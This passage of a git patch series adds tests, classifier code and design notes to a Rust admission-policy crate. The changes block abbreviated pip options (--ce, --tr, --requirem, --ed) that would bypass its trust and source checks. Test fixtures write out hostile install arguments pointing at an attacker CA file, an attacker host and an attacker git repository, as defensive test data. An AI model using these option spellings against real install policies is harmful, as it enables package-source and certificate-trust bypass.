--- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -11,6 +11,7 @@ mod http; mod oci_transport; mod policy; mod pypi_cache_directory_authority; +mod pypi_certificate_store_authority; mod pypi_client_certificate_authority; mod pypi_constraint_authority; mod pypi_dependency_group_authority; @@ -98,6 +99,17 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority( intent, ) { From 766158d0a850f0273cf4052b58475e06919ec9f0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:32:21 +0900 Subject: [PATCH 431/702] test(security): cover separate pip cert prefix --- .../pypi_certificate_store_trust_contract.rs | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index 5f5eb10e..08c5bc09 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -67,6 +67,26 @@ fn pip_certificate_bundle_unambiguous_prefix_is_explicit_trust_authority() { } } +#[test] +fn pip_separate_certificate_prefix_value_is_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--ce".to_string()); + intent.argv.push("/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's separate-value --ce prefix must be classified as trust authority independently of operand validation: {:?}", + decision.reason_codes + ); + } +} + #[test] fn pip_separate_certificate_value_is_classified_as_alternate_trust_authority() { let (policy, mut intent) = approved_pip_install("pip"); From dc28ebe5cb84332e35531b4b908e1cc6ec6b8296 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:33:14 +0900 Subject: [PATCH 432/702] docs(security): trace pip cert abbreviation authority --- .../pypi-certificate-store-authority.md | 25 +++++++++++++------ 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/docs/doctoring/pypi-certificate-store-authority.md b/docs/doctoring/pypi-certificate-store-authority.md index 65fa185f..05fbead1 100644 --- a/docs/doctoring/pypi-certificate-store-authority.md +++ b/docs/doctoring/pypi-certificate-store-authority.md @@ -8,9 +8,13 @@ Wardnet's Agent Artifact Admission decides whether one structured installer inte pip 26.2.1 documents HTTPS certificate verification as the default protection against man-in-the-middle attacks and exposes `--cert` / `PIP_CERT` for selecting a certificate bundle. The same pip documentation identifies `REQUESTS_CA_BUNDLE` and `CURL_CA_BUNDLE` as ambient alternatives. A caller-controlled certificate store therefore changes trust authority independently of the reviewed package coordinate. +The direct-pip CLI uses Python `optparse`-compatible long-option parsing. `optparse` resolves an unambiguous long-option prefix and accepts an option argument either as `--option=value` or as a following argv element. On Wardnet's reviewed direct-pip option surface, `--c` is ambiguous while `--ce` and `--cer` uniquely select `--cert`. Exact-string matching of `--cert` alone therefore leaves an accepted trust-authority spelling outside the policy classifier. + ## Decision -For structured `pip` and `pip3` argv, Wardnet classifies `--cert` as `AlternateTrustRoot` and fails the admission request closed. The existing `requests_alternate_trust_root` classifier and `matches_cli_flag` parser remain the sole Wardnet authority for this argv property; both `--cert=` and separate `--cert ` spellings are covered without a parallel classifier. +For structured `pip` and `pip3` argv, Wardnet classifies canonical `--cert` and accepted unambiguous `--ce` / `--cer` abbreviations as `AlternateTrustRoot` and fails the admission request closed. The generic `requests_alternate_trust_root` / `matches_cli_flag` path remains the authority for the canonical exact `--cert` spelling. A narrow `pypi_certificate_store_authority` overlay owns only pip's verified abbreviation grammar that the generic exact-option guard intentionally does not model. + +The abbreviation classifier is bounded to direct `pip install` / `pip3 install`, strips an attached `=value` only for option-name comparison, rejects the ambiguous `--c`, excludes the canonical full spelling from its own responsibility, and does not apply pip grammar to `uv`. Both attached and separate-value `--ce` forms are covered by admission-level tests; the separate value may independently be rejected by operand validation, but the trust-authority reason must still be present. Wardnet does not inspect, clear or enforce `PIP_CERT`, `REQUESTS_CA_BUNDLE`, `CURL_CA_BUNDLE`, filesystem certificate contents, operating-system trust stores, or the executor's effective environment. Those are runtime execution/isolation concerns owned by `quarantine-sandbox-runtime`. The corresponding environment-authority witness is tracked in `quarantine-sandbox-runtime#49`. EgressWeave retains outbound transport authorization; Wardnet does not convert an admission receipt into network authority. @@ -22,22 +26,25 @@ Allowing arbitrary `--cert` values because the package artifact itself is digest Adding certificate-file inspection to Wardnet was rejected because it would duplicate runtime filesystem/environment authority and couple the admission bounded context to executor state. A future released contract may carry an immutable, canonical-owner certificate-policy identity, but mutable paths or sibling source are not production authority. -Silently relying on the existing extra-positional-operand rejection for separate `--cert ` was rejected because it misclassifies the security property. A stable `AlternateTrustRoot` reason is required for audit evidence and policy interpretation. +Teaching the global long-option matcher every command-specific abbreviation was rejected. Long-option abbreviation is parser- and option-surface-dependent; applying pip grammar globally would create false authority for `uv`, Cargo, npm-family and OCI commands. The narrow direct-pip overlay preserves the existing exact-match invariant everywhere else. + +Silently relying on the existing extra-positional-operand rejection for separate certificate values was rejected because it misclassifies the security property. A stable `AlternateTrustRoot` reason is required for audit evidence and policy interpretation even when another validator also rejects the request. ## RED → causal repair evidence -Test-only exact `edaf9bbb76a60bf7bdb56ec16e6661c9c86bf9f4` ran in CI `34431988599`, rust job `102729231075`, on hosted Ubuntu 24.04. Checkout, toolchain setup, `cargo fmt --check` and all preceding workspace tests succeeded. The hostile contract then proved both relevant failures: +The original canonical-spelling RED `edaf9bbb76a60bf7bdb56ec16e6661c9c86bf9f4` ran in CI `34431988599`, rust job `102729231075`, on hosted Ubuntu 24.04. Checkout, toolchain setup, `cargo fmt --check` and all preceding workspace tests succeeded. The hostile contract proved that `--cert=/tmp/attacker-ca.pem` returned `Allow`, while separate `--cert /tmp/attacker-ca.pem` was blocked without `AlternateTrustRoot`. The minimum canonical repair `43d5e7a8d70d9f7396451ce01402cbcfa7603025` added the exact `--cert` trust-root flag. -- `pip install cwl-example==1.2.3 --require-hashes --no-deps --cert=/tmp/attacker-ca.pem` returned `Allow` instead of `Block`. -- `pip install ... --cert /tmp/attacker-ca.pem` was blocked only as `ArtifactNotApproved` and lacked `AlternateTrustRoot`. +Issue #323 then exposed the remaining parser-language gap. Test-only head `500bf5fd18cf69bb53cc25e7c2568c1037fce267` added an approved direct-pip install carrying `--ce=/tmp/attacker-ca.pem`. CI run `34627238783`, rust job `103355194834`, acquired a hosted Ubuntu 24.04 runner, completed checkout, toolchain and formatting, and failed in the semantic test phase because the exact-option guard did not classify pip's accepted abbreviation as trust authority. -The positive control without certificate override and the duplicate-reason control passed. The minimum production successor `43d5e7a8d70d9f7396451ce01402cbcfa7603025` adds exactly one `--cert` entry to the existing forbidden trust-root flag list; comparison from the RED head is one file, one added line. Exact-head GREEN must be reacquired after this documentation commit before the candidate may be promoted. +The minimum production sequence adds `pypi_certificate_store_authority` as the direct-pip abbreviation overlay and wires only its positive classification into `admission_decision`: `a8fa9524aa25de38d5bed1f0408c1cfdf9e12321` introduces the bounded parser, `6a24fbb21358a619948ca5fd50fc19ac6ff2621f` applies `AlternateTrustRoot`, and `766158d0a850f0273cf4052b58475e06919ec9f0` adds admission-level separate-value coverage. Exact-head GREEN must be reacquired after this documentation commit; predecessor runs are not merge evidence. ## Security traceability CWE-295 describes improper certificate validation as a weakness that can permit communication with an attacker-controlled or spoofed peer. Wardnet is not itself a TLS implementation, so CWE-295 is used here as threat traceability rather than as a claim that Wardnet validates certificates. The Wardnet control prevents an approved installer intent from authorizing caller-selected certificate trust that could undermine downstream peer authentication. -NIST SP 800-52 Rev. 2 remains the current final NIST TLS implementation guideline as of 2026-09-10. NIST opened a periodic review of Rev. 2 on 2026-05-07 and stated that it expects a future revision to align with newer TLS 1.3 work; that review does not supersede the published Rev. 2. The document's TLS certificate guidance supports keeping peer-authentication trust configuration explicit and governed rather than accepting unreviewed caller overrides. +NIST SP 800-52 Rev. 2 remains the current final NIST TLS implementation guideline as of 2026-09-12. NIST opened a periodic review of Rev. 2 on 2026-05-07 and stated that it expects a future revision to align with newer TLS 1.3 work; that review does not supersede the published Rev. 2. The document's TLS certificate guidance supports keeping peer-authentication trust configuration explicit and governed rather than accepting unreviewed caller overrides. + +NIST SP 800-53 Release 5.2.0, published 2025-08-27, remains relevant defense-in-depth traceability for software integrity and controlled system behavior. It does not define pip parsing semantics; the pip/`optparse` primary sources remain authoritative for the exact hostile argv language. ## References @@ -45,6 +52,10 @@ MITRE. (2026). *CWE-295: Improper certificate validation* (CWE Version 4.20). ht National Institute of Standards and Technology. (2019). *Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations* (NIST Special Publication 800-52 Rev. 2). https://doi.org/10.6028/NIST.SP.800-52r2 +National Institute of Standards and Technology. (2025, August 27). *NIST releases revision to SP 800-53 controls*. https://csrc.nist.gov/News/2025/nist-releases-revision-to-sp-800-53-controls + National Institute of Standards and Technology. (2026, May 7). *NIST requests public comments on SP 800-52 Rev. 2: Guidelines for the selection, configuration, and use of Transport Layer Security (TLS) implementations*. https://www.nist.gov/news-events/news/2026/05/nist-requests-public-comments-sp-800-52-rev-2-guidelines-selection Python Packaging Authority. (2026). *HTTPS certificates*. pip 26.2.1 documentation. https://pip.pypa.io/en/stable/topics/https-certificates/ + +Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14.6 documentation. https://docs.python.org/3.14/library/optparse.html From 40eab9ac1e919fb4411a7d05f574371ed7b80a29 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 02:59:09 +0900 Subject: [PATCH 433/702] test(admission): reject pip trusted-host abbreviation --- .../pypi_trusted_host_authority_contract.rs | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs new file mode 100644 index 00000000..1f5b9cd5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_trusted_host_authority_contract.rs @@ -0,0 +1,84 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_trusted_host_abbreviation_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--tr=attacker.invalid".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted --trusted-host abbreviation inherit approved artifact authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip --tr must be classified as caller-selected transport trust authority: {:?}", + decision.reason_codes + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-trusted-host-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-trusted-host-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From b39cc44b0de7fd901f39324ecf57f20210d6a94f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:01:07 +0900 Subject: [PATCH 434/702] fix(admission): classify pip trusted-host prefixes --- .../src/pypi_registry_authority.rs | 52 +++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs index 094c8ea7..f1996a3f 100644 --- a/crates/agent-artifact-admission/src/pypi_registry_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -1,7 +1,7 @@ use crate::InstallIntent; /// Return whether a direct Python package install disables or replaces the exact -/// reviewed registry/source authority. +/// reviewed registry/source authority or relaxes its reviewed transport trust. pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -26,7 +26,8 @@ pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { arguments.iter().any(|argument| { argument == "--no-index" || (matches!(executable, "pip" | "pip3") - && requests_pip_source_selector_abbreviation(argument)) + && (requests_pip_source_selector_abbreviation(argument) + || requests_pip_trusted_host_abbreviation(argument))) }) } @@ -53,9 +54,28 @@ fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { }) } +/// Direct pip also accepts unambiguous prefixes of `--trusted-host`. `--tr` is +/// the shortest verified prefix while `--t` remains ambiguous with other pip +/// options. Classify only the accepted direct-pip abbreviation language here; +/// canonical `--trusted-host` remains covered by the generic exact-option guard. +fn requests_pip_trusted_host_abbreviation(argument: &str) -> bool { + const CANONICAL: &str = "--trusted-host"; + const SHORTEST_ACCEPTED_PREFIX: &str = "--tr"; + + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= SHORTEST_ACCEPTED_PREFIX.len() + && option != CANONICAL + && CANONICAL.starts_with(option) +} + #[cfg(test)] mod tests { - use super::requests_pip_source_selector_abbreviation; + use super::{ + requests_pip_source_selector_abbreviation, requests_pip_trusted_host_abbreviation, + }; #[test] fn pip_source_selector_abbreviations_are_bounded_to_accepted_prefixes() { @@ -91,4 +111,30 @@ mod tests { ); } } + + #[test] + fn pip_trusted_host_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--tr=attacker.invalid", + "--tru=attacker.invalid", + "--trusted-h=attacker.invalid", + ] { + assert!( + requests_pip_trusted_host_abbreviation(option), + "accepted pip trusted-host abbreviation must be classified: {option}" + ); + } + + for option in [ + "--t=attacker.invalid", + "--trusted-host=attacker.invalid", + "--trusted-host-extra=attacker.invalid", + "--timeout=10", + ] { + assert!( + !requests_pip_trusted_host_abbreviation(option), + "ambiguous, canonical, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } } From c22c1d0f996b449bc525e4483f0ca44231525204 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:01:38 +0900 Subject: [PATCH 435/702] docs(security): trace pip trusted-host authority --- docs/doctoring/pypi-trusted-host-authority.md | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 docs/doctoring/pypi-trusted-host-authority.md diff --git a/docs/doctoring/pypi-trusted-host-authority.md b/docs/doctoring/pypi-trusted-host-authority.md new file mode 100644 index 00000000..5211e085 --- /dev/null +++ b/docs/doctoring/pypi-trusted-host-authority.md @@ -0,0 +1,46 @@ +# Direct pip trusted-host abbreviation authority + +## Problem and boundary + +Wardnet's Agent Artifact Admission is a pre-execution policy and evidence boundary. It must reject caller-selected package trust authority that is not represented by the reviewed artifact policy. It does not perform TLS, package retrieval, egress authorization, installation, isolation, or activation; those remain with their canonical runtime/transport owners. + +Direct `pip`/`pip3` uses Python's optparse-compatible long-option grammar. The canonical `--trusted-host` option is already denied by Wardnet's generic exact trust-root guard, but the parser also accepts unambiguous prefixes. A hostile otherwise-approved intent using attached `--tr=attacker.invalid` therefore exercised the same pip trust control without matching the exact Wardnet flag. + +## Exact RED evidence + +Test-only commit `40eab9ac1e919fb4411a7d05f574371ed7b80a29`, based on exact #129 head `25366eb291b783cd211bb76b8eadd8e853d722d1`, added `pypi_trusted_host_authority_contract.rs` and no production change. Hosted CI run `34630752242`, job `103366710451`, completed checkout and formatting successfully and then failed in `cargo test --locked --workspace`. The parent head had terminal GREEN CI, so the isolated hostile contract is the causal delta. + +The executable pip parser independently accepts `--tr=attacker.invalid`; `--t=attacker.invalid` remains ambiguous because it can prefix other pip options. Wardnet therefore must not guess shorter prefixes. + +## Decision + +Extend only Wardnet's direct-pip registry/source trust classifier. For `pip` and `pip3` direct install intents, classify verified prefixes from `--tr` through the character before the full `--trusted-host` spelling as `AlternateTrustRoot`. Leave the canonical full spelling under the existing generic exact-option guard. Keep uv and other package managers out of this parser-specific overlay. + +Rejected alternatives: + +- Blocking every `--t*` token would invent parser behavior and reject valid or ambiguous pip options without evidence. +- Implementing TLS validation or outbound transport enforcement in Wardnet would duplicate EgressWeave/runtime ownership. +- Treating any option prefix as equivalent across installers would violate each tool's actual command grammar. + +## Security effect and residual risk + +The repair closes an admission-evidence bypass in which a caller could select pip's trusted-host policy while inheriting an approved artifact decision. It does not claim that Wardnet validates server certificates or enforces network transport. Future pip parser changes remain a compatibility risk; parser-significant options require RED contracts before expanding the accepted/forbidden grammar. + +## Traceability + +- NIST SSDF: verify software requirements and design against security requirements, then use executable tests to prevent recurrence of a discovered weakness. +- CWE-295: weakening or bypassing certificate/peer validation can permit an attacker-controlled endpoint to be trusted. +- Python `optparse`: long options may be abbreviated when the supplied prefix is unambiguous. +- pip: `--trusted-host ` explicitly marks a host trusted even when it does not have valid or any HTTPS. + +## References (APA 7th) + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +Python Packaging Authority. (n.d.). *pip install*. pip documentation. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Packaging Authority. (n.d.). *General options*. pip documentation. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Python documentation. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html + +MITRE. (n.d.). *CWE-295: Improper certificate validation*. Common Weakness Enumeration. Retrieved September 12, 2026, from https://cwe.mitre.org/data/definitions/295.html From ba70e7856abaf45351a6316935130c3a45cb10df Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:07:42 +0900 Subject: [PATCH 436/702] test(admission): reject pip indirect-source abbreviations --- ...i_indirect_source_abbreviation_contract.rs | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs b/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs new file mode 100644 index 00000000..a561c386 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_indirect_source_abbreviation_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn accepted_pip_indirect_source_abbreviations_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for hostile_option in [ + "--requirem=attacker-requirements.txt", + "--ed=git+https://attacker.invalid/example.git", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(hostile_option.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let pip's accepted indirect-source abbreviation inherit approved artifact authority: {hostile_option}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "indirect requirements/editable source must be classified as unapproved artifact authority: {hostile_option}: {:?}", + decision.reason_codes + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-indirect-source-abbreviation".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-indirect-source-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From dcbf2622d40e9bd53a5f77a887f3323599fa9caa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:11:32 +0900 Subject: [PATCH 437/702] fix(admission): classify pip indirect-source prefixes --- .../src/artifact_source_identity.rs | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_source_identity.rs b/crates/agent-artifact-admission/src/artifact_source_identity.rs index 510a6321..523fcb58 100644 --- a/crates/agent-artifact-admission/src/artifact_source_identity.rs +++ b/crates/agent-artifact-admission/src/artifact_source_identity.rs @@ -30,6 +30,15 @@ pub(crate) fn requests_unapproved_artifact_source(intent: &InstallIntent) -> boo return false; } + if matches!(executable, "pip" | "pip3") + && arguments + .iter() + .skip(1) + .any(|argument| requests_pip_indirect_source_abbreviation(argument)) + { + return true; + } + intent.artifacts.iter().any(|artifact| { !artifact_argument_matches_reviewed_source( &artifact.ecosystem, @@ -40,6 +49,28 @@ pub(crate) fn requests_unapproved_artifact_source(intent: &InstallIntent) -> boo }) } +/// Direct pip uses Python's optparse-compatible parser, which accepts +/// unambiguous long-option prefixes. Canonical `--requirement`/`--editable` +/// and their short spellings are already rejected by the policy evaluator; +/// this source-identity boundary covers only the accepted long abbreviations +/// that otherwise introduce an undeclared requirements or editable source. +fn requests_pip_indirect_source_abbreviation(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + [ + ("--requirement", "--requirem"), + ("--editable", "--ed"), + ] + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option.len() >= shortest_accepted_prefix.len() + && option != *canonical + && canonical.starts_with(option) + }) +} + /// Require registry/index-backed package ecosystems to encode the exact /// reviewed name and version in the direct installer operand. This prevents a /// policy coordinate from being paired with an npm alias/tarball/git/folder or @@ -56,3 +87,36 @@ pub(crate) fn artifact_argument_matches_reviewed_source( _ => true, } } + +#[cfg(test)] +mod tests { + use super::requests_pip_indirect_source_abbreviation; + + #[test] + fn pip_indirect_source_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--requirem=attacker-requirements.txt", + "--requireme", + "--ed=git+https://attacker.invalid/example.git", + "--edit", + ] { + assert!( + requests_pip_indirect_source_abbreviation(option), + "accepted pip indirect-source abbreviation must be classified: {option}" + ); + } + + for option in [ + "--requ=attacker-requirements.txt", + "--e=git+https://attacker.invalid/example.git", + "--requirement=attacker-requirements.txt", + "--editable=git+https://attacker.invalid/example.git", + "--extra-index-url=https://attacker.invalid/simple", + ] { + assert!( + !requests_pip_indirect_source_abbreviation(option), + "ambiguous, canonical, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } +} From 9d1b6f064902068e5550766068647db324fe8f48 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 03:12:25 +0900 Subject: [PATCH 438/702] docs(security): trace pip indirect-source authority --- ...-indirect-source-abbreviation-authority.md | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 docs/doctoring/pypi-indirect-source-abbreviation-authority.md diff --git a/docs/doctoring/pypi-indirect-source-abbreviation-authority.md b/docs/doctoring/pypi-indirect-source-abbreviation-authority.md new file mode 100644 index 00000000..126c145e --- /dev/null +++ b/docs/doctoring/pypi-indirect-source-abbreviation-authority.md @@ -0,0 +1,54 @@ +# Direct pip indirect-source abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission authorizes only reviewed package coordinates and emits security evidence before an executor runs. It does not read requirements files, clone VCS repositories, fetch packages, authorize outbound transport, install packages, or execute hostile artifacts. Those runtime, transport, analysis, and isolation responsibilities remain with their canonical CWL owners. + +The direct `pip`/`pip3` command grammar is security-relevant because a requirements file or editable path/VCS URL can introduce package sources beyond the exact artifact coordinate approved by Wardnet. pip documents `-r, --requirement ` as installing from a requirements file and `-e, --editable ` as installing an editable local or VCS project. Python `optparse` also permits abbreviated long options; its callback contract explicitly notes that an abbreviated spelling such as `--foo` can resolve to canonical `--foobar`. + +The preceding Wardnet policy rejected the canonical and short spellings but did not classify the accepted direct-pip long prefixes. Executable parser verification established `--requirem=attacker-requirements.txt` and `--ed=git+https://attacker.invalid/example.git` as accepted selectors, while shorter `--requ` and `--e` remain ambiguous and must not be guessed as valid aliases. + +## Exact RED evidence + +Test-only commit `ba70e7856abaf45351a6316935130c3a45cb10df` was based on the already-GREEN #325 source and added only `pypi_indirect_source_abbreviation_contract.rs`. Hosted CI `34631567774`, job `103369376385`, acquired `ubuntu-24.04`, checked out that exact head, installed the Rust toolchain, and passed formatting before `cargo test --locked --workspace` failed. The hostile contract requires both accepted prefix forms to fail closed with `ArtifactNotApproved` for direct `pip` and `pip3` even when the explicitly declared package operand itself exactly matches policy. + +## Decision + +Extend the existing artifact-source-identity boundary rather than adding installer execution or transport behavior. For direct `pip`/`pip3` installs only: + +- classify `--requirement` prefixes beginning at the shortest verified unambiguous `--requirem` through the character before the canonical spelling; +- classify `--editable` prefixes beginning at the shortest verified unambiguous `--ed` through the character before the canonical spelling; +- leave canonical `--requirement`, `--editable`, `-r`, and `-e` under the existing policy evaluator; +- leave ambiguous shorter spellings such as `--requ` and `--e` unclassified because the executable parser rejects them; +- do not transfer pip-specific abbreviation grammar to `uv` or another package manager. + +This is an admission/source-identity repair. It does not duplicate EgressWeave transport authorization, quarantine execution/isolation, AppGuardrail analysis, or contextual-orchestrator agent orchestration. + +## Alternatives rejected + +Blocking every option prefix that begins with `--r` or `--e` was rejected because that would invent parser semantics and create false positives for ambiguous or unrelated pip options. Treating requirements/editable material as implicitly approved by the explicit package coordinate was rejected because pip can expand those selectors into additional or differently sourced functionality. Fetching and validating the referenced file or repository inside Wardnet was rejected because it would cross the pre-execution policy boundary and duplicate runtime/source acquisition owners. + +## Security effect and residual risk + +The repair closes a caller-intent bypass in which an approved explicit package operand could coexist with an undeclared requirements file or editable VCS/local source. This is consistent with CWE-829's concern about importing functionality from outside the intended control sphere and with SSDF's emphasis on preventing recurrence through verified security requirements and tests. + +Residual risk remains whenever pip changes its parser or adds source-expanding selectors. Wardnet should add a hostile RED contract before expanding its parser-sensitive admission grammar; it must not infer aliases solely from option names. + +## Traceability + +- NIST SP 800-218, SSDF v1.1 remains the final normative 